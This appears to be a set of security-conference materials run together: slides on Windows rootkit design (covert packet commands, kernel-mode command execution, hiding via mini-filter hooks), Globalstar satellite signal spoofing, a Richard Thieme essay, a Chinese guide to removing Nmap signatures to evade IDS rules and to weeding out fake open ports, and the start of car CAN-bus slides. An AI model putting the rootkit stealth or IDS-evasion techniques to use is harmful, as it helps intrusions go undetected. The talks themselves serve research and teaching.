▪ Send these “malicious” packets to legitimate ports on the victim
machine.
▪ Search packets for this “magic” constant to pass on data to our
malware.
How can we actually retrieve the content of packets that are received?
Demystifying Modern Windows Rootkits – DEF CON 28
42
Abusing the Network
For receive operations, an IOCTL with the code IOCTL_AFD_RECV is
sent to the Afd driver. Here is the structure sent in the input buffer.
Demystifying Modern Windows Rootkits – DEF CON 28
43
typedef struct
_AFD_RECV_INFO {
PAFD_WSABUF BufferArray;
ULONG BufferCount;
ULONG AfdFlags;
ULONG TdiFlags;
} AFD_RECV_INFO, * PAFD_RECV_INFO;
typedef struct _AFD_WSABUF {
UINT len;
PCHAR buf;
} AFD_WSABUF, * PAFD_WSABUF;
Parsing Packets: Design
Let’s talk about how the Spectre Rootkit was designed.
Demystifying Modern Windows Rootkits – DEF CON 28
44
Spectre Rootkit Packet Structure
Any prepended data
Magic Constant
Base Packet Structure
Optional Custom Structure
Any appended data
Parsing Packets: Pre-Processing
Here is the process used when the Spectre Rootkit receives a packet.
Demystifying Modern Windows Rootkits – DEF CON 28
45
Parsing Packets: Processing
Demystifying Modern Windows Rootkits – DEF CON 28
46
Before dispatching a packet, we need to create a complete packet.
Packet Handlers
Before we go any further, let’s talk about the concept of “Packet
Handlers” in the Spectre Rootkit.
Demystifying Modern Windows Rootkits – DEF CON 28
47
Packet Handlers
An example of a packet handler included with the Spectre Rootkit is the
PingPacketHandler. This handler is used to determine if a
machine/port is infected.
The incoming packet has no actual data, other than indicating its Type
is a Ping. The handler responds to the client with an empty base
packet with the Type set to Ping.
Demystifying Modern Windows Rootkits – DEF CON 28
48
Parsing Packets: Dispatching
Once a packet is completely populated, the “packet dispatcher” will…
Here’s why the “packet dispatcher” is awesome: by passing a pointer to
itself to the relevant packet handler, that packet handler can recursively
dispatch a new packet!
Demystifying Modern Windows Rootkits – DEF CON 28
49
Packet Handlers: XorPacketHandler
The best way to explain the recursive nature of the “packet dispatcher”
is through an example, such as the XorPacketHandler.
The XorPacketHandler takes a XOR_PACKET structure:
This XOR_PACKET does not actually perform a malicious operation.
Instead, it acts as an encapsulating packet.
Demystifying Modern Windows Rootkits – DEF CON 28
50
Packet Handlers: XorPacketHandler
When the XorPacketHandler receives a packet, it will…
1. Use the XorKey to deobfuscate the XorContent.
2. Recursively dispatch the XorContent as a new packet.
The model that the Spectre Rootkit uses allows you to create infinite
layers of encapsulation.
Demystifying Modern Windows Rootkits – DEF CON 28
51
Executing Commands
Let’s take a look at how we can execute commands from our rootkit, a
common feature seen in a variety of Windows malware.
Before we get into starting a process from a kernel driver, it’s important
to understand how we would execute commands from a user-mode
context.
Demystifying Modern Windows Rootkits – DEF CON 28
52
Executing Commands: User-mode
Demystifying Modern Windows Rootkits – DEF CON 28
53
Executing Commands: Kernel-mode
Let’s start by creating the pipes we need to obtain output.
Here is what CreatePipe does in the background…
Demystifying Modern Windows Rootkits – DEF CON 28
54
Executing Commands: Kernel-mode
Now that we have pipes, we need to create the actual process. We’ll
use ZwCreateUserProcess because that’s what kernelbase.dll
uses itself to create processes.
Let's start with the attribute list for the process.
▪ The most important attribute we have to set is the
PsAttributeImageName attribute. This will specify the image file name
for the new process.
Demystifying Modern Windows Rootkits – DEF CON 28
55
Executing Commands: Kernel-mode
Next, we have to fill out an RTL_USER_PROCESS_PARAMETERS
structure for the process.
In this structure, we need to set…
1. The window flags and the output handles to our pipes.
2. The current directory, the command line arguments, the process
image path, and the default desktop name.
Demystifying Modern Windows Rootkits – DEF CON 28
56
Executing Commands: Kernel-mode
From there, all it takes is a call to ZwCreateUserProcess to start the
process.
Once the process has exited, similar to what we do in user-mode, we
can call ZwReadFile to read the output from the unnamed pipe.
Demystifying Modern Windows Rootkits – DEF CON 28
57
Hiding a Rootkit
Demystifying Modern Windows Rootkits – DEF CON 28
58
Introduction to Mini-Filters
Mini-filter drivers allow you to attach to volumes and intercept certain
file I/O. This is performed by registering with the Filter Manager driver.
Demystifying Modern Windows Rootkits – DEF CON 28
59
Source: Microsoft Docs
Introduction to Mini-Filters
Mini-filters can be useful to mask the presence of our rootkit on the
filesystem.
For example, a mini-filter can direct all file access for a certain file to
another file. We can use this functionality to redirect access to our
driver file to another legitimate driver.
Demystifying Modern Windows Rootkits – DEF CON 28
60
Picking a method
To pick the best method of hooking, here are a few common questions
you should ask.
▪ How many detection vectors are you potentially exposed to?
▪ How "usable" is the method?
▪ How expensive would it be to detect the method?
Demystifying Modern Windows Rootkits – DEF CON 28
61
Become a Mini-Filter
The easiest way to abuse the functionality of a mini-filter is to become
one yourself. Here are the minimum requirements for
FltRegisterFilter:
1. Create [ServiceKey]\Instances
2. Create [ServiceKey]\Instances\[An instance name]
3. In [ServiceKey]\Instances add a “DefaultInstance” and set it to your
instance name used in step 2.
4. In [ServiceKey]\Instances\[An instance name], add the “Altitude”
and “Flags” values.
Demystifying Modern Windows Rootkits – DEF CON 28
62
Become a Mini-Filter
▪ How many detection vectors are you potentially exposed to?
▪ Registry and memory artifacts.
▪ How “usable” is the method?
▪ No concerns from stability or usability, this is how other legitimate drivers
register as mini-filters.
▪ How expensive would it be to detect the method?
▪ Inexpensive. Besides the registry artifacts, drivers that are registered as mini-
filters can easily be enumerated through API such as
FltEnumerateFilters.
Demystifying Modern Windows Rootkits – DEF CON 28
63
Hook a Mini-Filter
Another method is to simply hook an existing mini-filter. There are a
couple of routes you could take.
▪ Code hook the callback for an existing filter.
▪ Overwrite the FLT_REGISTRATION structure before the victim driver
uses it to have your own callback.
▪ DKOM an existing filter instance and replace the original callback with
yours.
Demystifying Modern Windows Rootkits – DEF CON 28
64
Hook a Mini-Filter: Code Hook
One of the easiest way to intercept callbacks to an existing mini-filter is
to simply perform a code hook.
This can be as simple as a jmp hook, but it comes with quite a few
drawbacks, similar to those we saw in an earlier section where we
discussed intercepting Irps.
Demystifying Modern Windows Rootkits – DEF CON 28
65
Hook a Mini-Filter: Code Hook
▪ How many detection vectors are you potentially exposed to?
▪ Memory artifacts.
▪ How “usable” is the method?
▪ Unless the function is exported, you will need to find the function yourself.
▪ Not all drivers are compatible with this method due to PatchGuard.
▪ HVCI incompatible.
▪ How expensive would it be to detect the method?
▪ Potentially inexpensive and several methods to detect hooking.
Demystifying Modern Windows Rootkits – DEF CON 28
66
Hook a Mini-Filter: DKOM
A semi-documented method of hooking an existing mini-filter is
through DKOM.
You can enumerate filters and instances through the documented APIs
FltEnumerateFilters and FltEnumerateInstances.
The function that gets called for a certain operation is specified in the
CallbackNodes array in the FLT_INSTANCE structure.
Demystifying Modern Windows Rootkits – DEF CON 28
67
Hook a Mini-Filter: DKOM
▪ The CallbackNodes array index is associated with the major
function you’re hooking.
Demystifying Modern Windows Rootkits – DEF CON 28
68
Hook a Mini-Filter: DKOM
▪ How many detection vectors are you potentially exposed to?
▪ Memory artifacts.
▪ How “usable” is the method?
▪ For stability, although obtaining a FLT_INSTANCE structure is documented,
the FLT_INSTANCE structure itself is undocumented.
▪ How expensive would it be to detect the method?
▪ Inexpensive, an anti-virus would need to occasionally enumerate registered
filters and their instances for hooks in the CallbackNodes array.
Demystifying Modern Windows Rootkits – DEF CON 28
69
Example: Abusing a Mini-Filter
Let’s say you want to protect a certain file, what’s an example of
redirecting access to it?
Demystifying Modern Windows Rootkits – DEF CON 28
70
Wrap Up
Demystifying Modern Windows Rootkits – DEF CON 28
71
Thanks to...
Alex Ionescu (@aionescu)
▪ Long-time mentor very experienced with Windows Internals.
ReactOS
▪ A fantastic reference for undocumented functions and structures.
Nemanja Mulasmajic (@0xNemi) and Vlad Ionescu (@ucsenoi)
▪ Helped review this presentation.
Demystifying Modern Windows Rootkits – DEF CON 28
72
Contact / Questions
Thanks for sticking around! Now is the time for any questions.
Twitter
@BillDemirkapi
Blog
https://billdemirkapi.me
Spectre Rootkit
https://github.com/D4stiny/spectre
Demystifying Modern Windows Rootkits – DEF CON 28
73 | pdf |
Spread Spectrum Satcom
Hacking
Attacking the Globalstar Simplex Data Service
Colby Moore
@colbymoore - [email protected]
Motivation
• Satellite hacking talks never deliver
• RF world largely neglected by hacker community
• So much legacy tech in critical systems
• Spark interest in satellite security research
What are we going to learn?
• Overview of basic RF signals and modulation
• What is spread spectrum - how does it work and
how do we work with it
• Picking a target and reverse engineering it
• Exploiting that target
• Next steps
Analog RF Modulation
• Amplitude Modulation (AM)
• Frequency Modulation (FM)
Digital RF Modulation
• Amplitude Shift Keying (ASK / OOK)
• Frequency Shift Keying (FSK)
• Phase Shift Keying (PSK)
Spread Spectrum
Modulation
• What is Spread Spectrum Special? WiFi, Bluetooth,
Most modern RF Communication
Spread Spectrum
Modulation
• Frequency Hopping Spread Spectrum (FHSS)
• Direct Sequence Spread Spectrum (DSSS)
Selecting a Target
• Consumer Accessible
• Cheap
• Popular
• High Impact
Introducing SPOT
• SPOT
• But wait… this tech is used… everywhere.
Goldmine.
Who uses it?
• Flight Planning Services
• Consumers
• SCADA
• Big Gas and Oil
How does it work?
• LEO non-geosynchronous Bend Pipe Architecture
Intel Gathering
• Google
• FCC Database
• Academic Papers
• Integrator Spec Sheets
Intel Gathering Continued
• What we know:
• PN = 255 Chip M-Sequence
• 1.6xx ghz
• 144 bit message
Hardware and Validation
• USRP B200
• GQRX
• GNURADIO
Decoding Theory
• Mix signal with PN sequence and the BPSK signal
will drop out
Packet Format Contd.
• Wait a second… There is no signing… No
encryption.
• We can create packets if we known how to
reproduce the checksum.
• Reverse engineering the checksum
Transmitting
• Strictly Theoretical - Do not attempt
• This is the easy part
Impact of Transmission
• Spoof communications
• Disrupt critical services
Signal Interception Demo
• DEMO
Future Research
• Code optimization
• Custom hardware
• Widespread reception
Slides and Code
• Updated slides, resources, and code to be posted
online after the presentation. | pdf |
Writing Fiction to Tell the Truth
By Richard Thieme
Things are often not what they seem. That’s a “fact.” But that fact and others are filtered
into our brains through images and words that often distort the truth—sometimes due to
sloppy thinking but often as a result of policies adopted by “the national security state,” a
complex state of affairs that carried over from World War 2 and has never stopped.
The consequences of this shift are profound.
A regimen of propaganda and censorship established during World War 2 made sense.
The government did not want Americans to know that debris and bodies, for example,
washed up along the Atlantic coast all the time due to U-boat activity. That secret and
others were well kept with the cooperation of the media that served as portals into the
“mind of society.”
The Cold War, an enterprise that used propaganda and censorship as weapons, ensured
that these policies would continue. Playing the great game of perception management on
a global scale, information operations inevitably framed the thinking of Americans as
well as enemies. Enemies and citizens, hearing the same narratives, became
indistinguishable.
Eisenhower, assisted by the Dulles brothers at the State Department and the CIA, was
afforded plausible deniability of the use of covert operations (e.g. the overthrow of Iran’s
Mossadegh and Argentina’s Arbenz) and established a pattern for subsequent secret
operations.
I asked a historian at NSA what historical events we could discuss with a reasonable
expectation that our words meant the same details. “Anything up to 1945,” he said with a
laugh – but he wasn’t kidding.
The end of the Cold War did not end those policies.. New technologies enhanced the
science of perception management. Cover stories weave truths, half-truths, and lies in a
way that makes it impossible for average citizens to know what’s real. The attack on 9/11
was a catalyst to do even more, and today, social media serve as accelerators for
spreading the arson fires of distorted truth.
The extent of governmental secrecy, the number of documents now classified, and the
number of people granted clearances because of a “need to know” have all expanded
dramatically. The “need to know” as a requirement for access to compartmented truth
means that many inside the intelligence community itself do not have all the dots to
connect either. They too have to rely on what’s “out here” to guess at what’s real.
Paradoxically, as a result, the only way to tell the truth is through fiction. Movies,
television, and books present stories of practices that are sometimes true, sometimes not,
but which create a shared narrative reinforced by repetition. As they percolate through the
mind of society, manufactured narratives bind us, one to another, in fabrications that
seem real, but serve other ends.
One obvious example is the use of the television series “24” to hammer home the belief
that when a bomb is ticking and will explode in 20 minutes, torture is appropriate. “24”
has even been cited by policy makers as if it is factual, using fiction to support the real-
life decision that torture is an appropriate instrument of covert war.
The fact is, that “24” scenario is bogus. The “ticking bomb” story has never happened
and is not likely to happen. The confluence of events required to create such a scenario
don’t mesh in real life.
But the real work – convincing Americans that torture is useful – was done.
That example, writ large, suggests the nature of the world of distortion, illusion, and
misdirection in which we swim. Hence, my talk for Def Con, the Las Vegas security
conference where I will speak for the 19th year, is “Fiction is the Only Way to Tell the
Truth.”
Over a decade ago, a friend at the NSA told me not to discuss issues of "ethical
considerations for intelligence" that we had explored unless I wrote fiction. "It's the only
way you can tell the truth," he said.
One result was "Mind Games," (Duncan Long Publishing: 2010), a collection of stories
that illuminates “non-consensual realities” e.g. the worlds of hackers and intelligence
professionals.
In the first story, “Zero Day: Roswell,” a dying intelligence professional lists “things we
do that you don’t know.” Because it was fiction – mind candy – the details, written in
2006, could float out there on the edge and be ignored or dismissed by the “authoritative
voices” that govern what is real.
An astute reader recently tweeted passages from that story juxtaposed with revelations
from Edward Snowden, noting that they align. But Snowden stated them as facts and
documented them with stolen data, so he has to live in Russia. A mere scribbler of
fiction, I can stay here.
When another friend, an intelligence analyst at NSA, read “Zero Day: Roswell” he called
with a chuckle in his voice.”95% of this story isn’t fiction,” he said, “but you have to
know which parts to have the key to the code.”
Readers thought the bits about Roswell aliens were true, but they were fiction. They
skipped over details about technology, which were often accurate. But without
corroboration from an “authoritative voice,” such assertions were speculative and
anomalous – which meant they never connected to the “real.”
One inevitable negative consequence of living in this national security state is the
proliferation of “niches of truthiness” in which internet-fed cattle eat everything dumped
into the digital trough. A lack of critical thinking has led to the decline of political
discourse. Investigative reporters shrink in number – there were 300+ in the newsroom of
the Journal Sentinel once, but there are fewer than 100 today – while the blogosphere
explodes, where anyone can say anything. Then followers retweet, repost, and
“comment” from bunkers of invincible ignorance, sustaining distrust of official sources
and basic common sense. The proliferation of angry, distrustful, well-organized “thought
vigilantes,” exploited and mobilized by shout show hosts, with easy access to arms – I’d
call that a negative consequence.
Do we need a weatherman to know which way the wind is blowing?
I am often asked after speeches if I believe we went to the moon or have rovers on Mars.
Many people, because they don’t know what to believe, are willing to believe anything.
United in fear –fear makes us predictable - they can then be collected in digital corrals
and the entire corral can be moved, while those in it don’t even notice.
In a speech at the NSA prior to Snowdengate, I warned of the chill created by wholesale
intrusion and surveillance and a lack of concern for the effect on the mind of society. I
warned of a lack of accountability to “we the people” who the agency was charged to
proterct and defend. Once Snowden delivered his bombs, the dicussion of those issues
went quickly to the top, where “ spin” strategies are devised in secret.
Empires create the seeds of their demise through their own internal dynamics. An
external event may serve as a catalyst but is never a full and sufficient cause. The good
news is, that means we have some control over what we can choose to do. The bad news
is, the historical record – as much as we can tell what it is – suggests that we won’t use
that freedom.
Richard Thieme (thiemeworks.com) is a Milwaukee-based author and professional
speaker. He has spoken about security issues for the National Security Agency, the Secret
Service, the Department of the Treasury, the FBI, and at the Pentagon and will speak for
Def Con this summer for the 19th year. | pdf |
nmap去除指纹以及识别假端⼝开放问题
0x00 前⾔
最近在研究⼯具链的组合使⽤,在⽹络端⼝扫描⽅⾯还是打算先集成⼀下nmap这种⽼牌的⼯具再
结合其他⼀些个性化⼯具来解决⼀些端⼝扫描上的需求。
这边先对nmap进⾏⼀些优化⽐如去除明显的指纹降低被识别的⻛险,其次解决⼀下因为防⽕墙策
略导致批量假端⼝开放的问题。
0x01 去除指纹的思路
nmap等各类开源扫描器⼀般来说都会有意⽆意的引⼊⼀些请求特征。⽐如tcp请求的⼀些选项配置
与正常请求不同,⽐如包含特定关键词的payload等。针对nmap我们可以先参考⼀下先知的这篇⽂
章《如何修改nmap, 重新编译,bypass emergingthreats 的公开ids规则》,⾥⾯记录了⼀些
nmap的特征修改,作为⼀个开始是很不错的。那么我们该如何找到更多的指纹以便于去除呢?
根据先知这篇⽂章⼊⼿,我们可以把思路⼤概放在这⼏个地⽅:
1. 根据开源检测⼯具的规则集来找针对的特征并定位特征⽂件进⾏修改;
2. 在nmap等开源⼯具源码中直接全量搜索疑似的关键词⽐如Nmap;
3. 针对性的对某种请求进⾏wireshark抓包,并对这种请求与可能的正常请求进⾏⽐对看看有没
有明显的区别
⼀般来说通过从1和2点开始⼊⼿是最好的。
从开源规则集⼊⼿
我这边先从开源IDS的snort以及suricata的规则集开始找寻相关的特征规则。
下载规则集
打开后可以看到有⼀⼤堆规则,具体语法⾃⼰可以参考官⽅的⽂档,其实你不懂语法,⼤概看看也
能理解个⼤概。但是当我搜索nmap关键词时并没有发现规则集⾥有针对nmap的特定规则,可能是
因为这是开源社区的规则,他并没有收录nmap的识别规则。
不过,仔细查找了⼀下资料,我在emergingthreats.net的⽹站⾥找到了nmap的规则集,看起来是
专⻔收录应急规则的⽹站。
我们在⽹站⾥搜索nmap可以看到收录了32条专⻔社区规则⽤于识别nmap。通过⽐对这些规则,
我们可以像开头先知⾥的⽂章那样定位到已知的特征点并进⾏更改。
⽐如这样⼀条规则
alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (msg:"ET SCAN NMAP SQL Spider
Scan"; flow:established,to_server; content:"GET"; http_method; content:" OR
sqlspider"; http_uri; reference:url,nmap.org/nsedoc/scripts/sql-injection.html;
classtype:web-application-attack; sid:2013778; rev:2; metadata:created_at
2011_10_19, updated_at 2020_04_20;)
由于规则⾥多个选项其实意味着“AND”的关系,因此我们只需要改变其中⼀个特征就⾏了。这⾥可
以看到会去匹配内容中包含“OR sqlspider”。
先搜⼀下这个是哪个⽂件⾥包含的sqlspider
进⼊ ./scripts/http-sql-injection.nse 替换sqlspider为任意字符串即可。
从明显字符串⼊⼿
通过⼀些规则我们可以看到,nmap等开源扫描器很喜欢⽤⾃⼰的名字做特征字符。⽐如我们搜⼀
搜Nmap,然后把⼀些没有⽤的注释什么的过滤掉看看
find . -name "*.nse" -type f | xargs grep -s "Nmap"
像这样,我们在nse脚本⾥搜带有nmap关键词的内容
在⼀堆看起来都是没有⽤的东⻄⾥,⼀眼看到了疑似特征的内容
编辑脚本定位查看
确实是特征,在请求的ua⾥写⼊了Nmap字样,因此我们把它修改成普通的UA。
替换即可。
类似的,我们可以再找找,⽐如
⼜看到个ssh探测的
⼀看就是发送tcp包,把nmap字样去掉就⾏了。
⼀般来说,只要在发送请求的函数或字段(⽐如send、useragent)⾥看到payload⾥包含特定关
键词的,这种通常就是特征,把它替换掉即可。
0x02 识别假端⼝开放问题
我们经常会遇到⼀些⽬标存在⼀些安全策略导致端⼝扫描呈现全部开放的情况,⽐如:
Host is up (0.25s latency).
Not shown: 139 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp filtered ssh
23/tcp open telnet
25/tcp open smtp
42/tcp open nameserver
80/tcp open http
81/tcp open hosts2-ns
110/tcp open pop3
135/tcp filtered msrpc
139/tcp filtered netbios-ssn
143/tcp open imap
443/tcp open https
445/tcp filtered microsoft-ds
465/tcp open smtps
593/tcp filtered http-rpc-epmap
631/tcp open ipp
993/tcp open imaps
995/tcp open pop3s
1024/tcp open kdm
1025/tcp open NFS-or-IIS
1026/tcp open LSA-or-nterm
1027/tcp open IIS
1028/tcp open unknown
1029/tcp open ms-lsa
1030/tcp open iad1
1031/tcp open iad2
1032/tcp open iad3
1033/tcp open netinfo
1034/tcp open zincite-a
1035/tcp open multidropper
1036/tcp open nsstp
1037/tcp open ams
1038/tcp open mtqp
1039/tcp open sbl
1040/tcp open netsaint
1041/tcp open danf-ak2
1042/tcp open afrog
1043/tcp open boinc
1044/tcp open dcutility
1045/tcp open fpitp
1046/tcp open wfremotertm
1047/tcp open neod1
1048/tcp open neod2
1049/tcp open td-postman
1050/tcp open java-or-OTGfileshare
1051/tcp open optima-vnet
1052/tcp open ddt
1053/tcp open remote-as
1054/tcp open brvread
1055/tcp open ansyslmd
1056/tcp open vfo
1057/tcp open startron
1058/tcp open nim
1059/tcp open nimreg
1060/tcp open polestar
1061/tcp open kiosk
1062/tcp open veracity
1063/tcp open kyoceranetdev
1064/tcp open jstel
1065/tcp open syscomlan
1066/tcp open fpo-fns
1067/tcp open instl_boots
1068/tcp open instl_bootc
1069/tcp open cognex-insight
1070/tcp open gmrupdateserv
1071/tcp open bsquare-voip
1072/tcp open cardax
1073/tcp open bridgecontrol
1074/tcp open warmspotMgmt
1075/tcp open rdrmshc
1076/tcp open sns_credit
1077/tcp open imgames
1078/tcp open avocent-proxy
1079/tcp open asprovatalk
1080/tcp open socks
1081/tcp open pvuniwien
1082/tcp open amt-esd-prot
1083/tcp open ansoft-lm-1
1084/tcp open ansoft-lm-2
1085/tcp open webobjects
1086/tcp open cplscrambler-lg
1087/tcp open cplscrambler-in
1088/tcp open cplscrambler-al
1089/tcp open ff-annunc
1090/tcp open ff-fms
1091/tcp open ff-sm
1092/tcp open obrpd
1093/tcp open proofd
1094/tcp open rootd
1095/tcp open nicelink
1096/tcp open cnrprotocol
1097/tcp open sunclustermgr
1098/tcp open rmiactivation
1099/tcp open rmiregistry
1100/tcp open mctp
1102/tcp open adobeserver-1
1104/tcp open xrl
1105/tcp open ftranhc
1106/tcp open isoipsigport-1
1107/tcp open isoipsigport-2
1108/tcp open ratio-adp
1110/tcp open nfsd-status
1111/tcp open lmsocialserver
1112/tcp open msql
1113/tcp open ltp-deepspace
1114/tcp open mini-sql
1117/tcp open ardus-mtrns
1119/tcp open bnetgame
1121/tcp open rmpp
1122/tcp open availant-mgr
1123/tcp open murray
1124/tcp open hpvmmcontrol
1126/tcp open hpvmmdata
1130/tcp open casp
1131/tcp open caspssl
1132/tcp open kvm-via-ip
1137/tcp open trim
1138/tcp open encrypted_admin
1141/tcp open mxomss
1145/tcp open x9-icue
1147/tcp open capioverlan
1148/tcp open elfiq-repl
1149/tcp open bvtsonar
1151/tcp open unizensus
1152/tcp open winpoplanmess
1154/tcp open resacommunity
1163/tcp open sddp
1164/tcp open qsm-proxy
1165/tcp open qsm-gui
1166/tcp open qsm-remote
1169/tcp open tripwire
1174/tcp open fnet-remote-ui
1175/tcp open dossier
1183/tcp open llsurfup-http
1185/tcp open catchpole
1186/tcp open mysql-cluster
1187/tcp open alias
1192/tcp open caids-sensor
1198/tcp open cajo-discovery
1199/tcp open dmidi
1201/tcp open nucleus-sand
1213/tcp open mpc-lifenet
1216/tcp open etebac5
1217/tcp open hpss-ndapi
1218/tcp open aeroflight-ads
1233/tcp open univ-appserver
1234/tcp open hotline
1236/tcp open bvcontrol
1244/tcp open isbconference1
1247/tcp open visionpyramid
………………
像这样⼀个⽬标nmap随便默认扫⼀下⼀排排的端⼝开放,⼀看就是有问题。很显然这是遇到了安
全策略导致的扫描结果误报。
⼤致的原理⽬测是防⽕墙响应了syn请求和扫描器建⽴了完整的三次握⼿,因此不管是采⽤SYN扫
描还是TCP扫描,都会存在这种情况,⼏乎是难以进⾏判断到底开放了哪些端⼝以及具体是哪些服
务。那为了解决这个问题我们唯⼀的⽅法就是对所有的开放端⼝进⾏针对性的指纹扫描,⼤概流程
如下:
1. 端⼝扫描开放情况,如果存在⼤量的开放端⼝则判断为安全策略
2. 转到全端⼝或者是常⻅端⼝的指纹探测
3. 探测完指纹后对命中具体指纹的端⼝认为是开放的服务,没有响应可识别指纹的端⼝认为是假
端⼝
为了快速实现,⼀般会采⽤下⾯两种实现⽅式:
1. 写脚本对全端⼝进⾏http和https请求,只探测响应http请求的服务
2. 进⼀步加强,采⽤tcp来发送http请求探针,记录有响应的服务情况,这种情况下会探测到http
的服务以外还有针对任意请求会响应的tcp服务
上⾯这两种⽅式通常是⼀般的⼈会采⽤的⼀种简略⽅式,但是这⾥⾯有显⽽易⻅的缺陷就是探针的
指纹库太普通,只能探测很肤浅的⼀部分服务,因为部分服务只针对特定的探针才会进⾏响应,⽽
且因为缺少解析规则,我们也很难针对未知服务进⾏明确的标记即使他有响应内容。
利⽤nmap⾃带的探针
既然我⽤的nmap扫描,那么我是不是可以尝试利⽤nmap的扫描能⼒来进⾏识别呢?答案是肯定
的。很显然nmap⾃带的 -sV 的参数可以帮助我们使⽤其⾃带的探针来进⾏服务探测。nmap探针
⽂档
事不宜迟我们找⼀个有策略的服务,利⽤命令 sudo nmap -sV --version-intensity 0 -oX
nmapres2 xxxxxx 来输出⼀下探测结果。
结果⼤概⻓这个样⼦
整个结果⼤概有800+,⼀眼丁真鉴定为假。
很显然这个结果是不满意的,他肯定包含有⼀⼤堆没有被探针正确识别的结果。我们⼤概理解⼀下
nmap的扫描逻辑:
1. 先进⾏端⼝开放扫描,由于策略原因⼤部分端⼝都标记为开放
2. 对开放的端⼝进⾏服务扫描,没有正确识别的服务nmap认为是探针不⾜没有识别到因此只是
没有服务信息,端⼝开放依旧保留
从nmap在终端⾥输出的结果我们也能⼤概猜到他的意思了
很显然部分端⼝服务没识别出来他⾃⼰也标注了未知和问号。⽽现在我需要的是⼀个包含明确开放
端⼝和服务情况的结果集,也就是说我要把这些不确定的东⻄都给去除掉,但⼜要保留下⾯nmap
不能识别的新特征的端⼝,因为新指纹特征的端⼝通常拥有响应说明其是有服务的
对nmap服务扫描的结果集进⾏过滤
由于nmap并没有提供类似的参数,因此我们必须⼿动对结果集进⾏过滤。要先过滤结果集我们先
看⼀下⽂档对nmap服务探测的描述。
简单来说nmap对于探针规则的配置和管理是在项⽬⽬录下nmap-service-probes这个⽂件⾥。⾥
⾯的内容⼤致如下:
这个配置⽂件你暂时看不懂也没事,我们先来看看结果集⾥的细节是什么样⼦的,下⾯是抽取的结
果集⾥我认为是根本没有开放的端⼝的情况:
<port protocol="tcp" portid="1026"><state state="open" reason="syn-ack"
reason_ttl="43"/><service name="LSA-or-nterm" servicefp="SF-Port1026-
TCP:V=7.91%I=3%D=10/20%Time=6351317C%P=x86_64-apple-
darwin19.6.0%r(NULL,1,"\n")%r(GetRequest,1,"\n")%r(GenericLi
nes,1,"\n")%r(DNSVersionBindReqTCP,1,"\n")%r(Help,1,"\n
")%r(SSLSessionReq,1,"\n")%r(TLSSessionReq,1,"\n");"
method="table" conf="3"/></port>
<port protocol="tcp" portid="1027"><state state="open" reason="syn-ack"
reason_ttl="42"/><service name="IIS" servicefp="SF-Port1027-
TCP:V=7.91%I=3%D=10/20%Time=6351317C%P=x86_64-apple-
darwin19.6.0%r(NULL,1,"\n")%r(SMBProgNeg,1,"\n")%r(GenericLi
nes,1,"\n")%r(GetRequest,1,"\n")%r(DNSVersionBindReqTCP,1,&q
uot;\n")%r(Help,1,"\n")%r(SSLSessionReq,1,"\n")%r(TLSSe
ssionReq,1,"\n");" method="table" conf="3"/></port>
<port protocol="tcp" portid="1028"><state state="open" reason="syn-ack"
reason_ttl="43"/><service name="unknown" servicefp="SF-Port1028-
TCP:V=7.91%I=3%D=10/20%Time=6351317C%P=x86_64-apple-
darwin19.6.0%r(NULL,1,"\n")%r(TerminalServer,1,"\n")%r(Gener
icLines,1,"\n")%r(GetRequest,1,"\n")%r(DNSVersionBindReqTCP,
1,"\n")%r(Help,1,"\n")%r(SSLSessionReq,1,"\n")%r(T
LSSessionReq,1,"\n");" method="table" conf="3"/></port>
这⾥我们主要聚焦到service这个标签⾥的情况,⽐如 <service name="unknown"
servicefp="SF-Port1028-TCP:V=7.91%I=3%D=10/20%Time=6351317C%P=x86_64-apple-
darwin19.6.0%r(NULL,1,"\n")%r(TerminalServer,1,"\n")%r(GenericL
ines,1,"\n")%r(GetRequest,1,"\n")%r(DNSVersionBindReqTCP,1,&quo
t;\n")%r(Help,1,"\n")%r(SSLSessionReq,1,"\n")%r(TLSSession
Req,1,"\n");" method="table" conf="3"/>
这⾥经过我的分析有两个特征可以⽤来⼀定程度上排除⽆⽤信息
servicefp
仔细看 %r(TLSSessionReq,1,"\n"); 类似于这样的⼀⼩段,其实是在表达
TLSSessionReq这个探针获取 \n 这个结果。连续的⼏个探针说明尝试了这些探针然后都获取到了
\n ,因此我认为这是⼀种误报,我们可以根据这种特征把他们去除掉。
去除前:
去除后:
可以看到从800+变成了50+,确实去除了⼀些,但是还有部分端⼝我通过⼿⼯测试感觉也不靠
谱。
method="table"
我们先来看⼀个明确是正常开放有服务的端⼝
<port protocol="tcp" portid="25"><state state="open" reason="syn-ack"
reason_ttl="41"/><service name="smtp" product="Exim smtpd" version="4.81"
hostname="mailrelay.local" method="probed" conf="10">
<cpe>cpe:/a:exim:exim:4.81</cpe></service></port> 可以看到这⾥的method是probed。这
意味着这个端⼝的服务是根据探针来探测到的。那么table意味着什么呢?我猜测是经过probe后没
有探测到服务,因此nmap根据默认的端⼝和服务名称对应的表来给予⼀个参考结果,这个逻辑被
称为table。那么我们可以在这个场景下把这个table去除掉。
去除前:
去除后:
可以看到,效果很好,留下来的端⼝基本上都是我认为有理有据是真实存在服务的。
结合到扫描流程⾥
有了⼀个过滤逻辑后,我们现在把端⼝扫描流程进⾏优化。
1. oneforall中提取出ip地址给到nmap后进⾏端⼝扫描
2. 对nmap端⼝扫描的结果进⾏处理,如发现有ip存在连续端⼝则认为是存在安全策略
3. 判断有异常的ip单独进⾏sV扫描
4. 对sV扫描后的结果进⾏去噪⾳处理后得到准确的数据后完成流程
⾄此,即使我们遇到了存在安全策略的⽬标也能通过⾃动化流程相对精准的获取到端⼝开放情况和
指纹特征⽽不需要去编写新的⼯具了。 | pdf |
Computer Science / www.isec.utulsa.edu
How to Hack Your Mini Cooper:
Reverse Engineering CAN Messages
on Passenger Automobiles
Jason Staggs
Computer Science / www.isec.utulsa.edu
Who is this guy?
• Jason Staggs
– Graduate Research Assistant
• Institute for Information Security (iSec)
• Crash Reconstruction Research Consortium (TU-CRRC)
– TRUE Digital Security
• Cyber Security Analyst
Computer Science / www.isec.utulsa.edu
Why do we hack cars?
• Related work
– “Comprehensive Experimental Analyses of Automotive Attack
Surfaces”
– “Experimental Security Analysis of a Modern Automobile”
• Understanding computer and network systems on cars
– Underlying CAN protocol and components lack of
authentication and verification of messages
• Understanding potential points of vulnerability
– Vehicle network security is in its infancy
• But most importantly…
Computer Science / www.isec.utulsa.edu
To prevent this..
Computer Science / www.isec.utulsa.edu
From turning into this..
Computer Science / www.isec.utulsa.edu
Because of this..
Computer Science / www.isec.utulsa.edu
CAN Clock Project
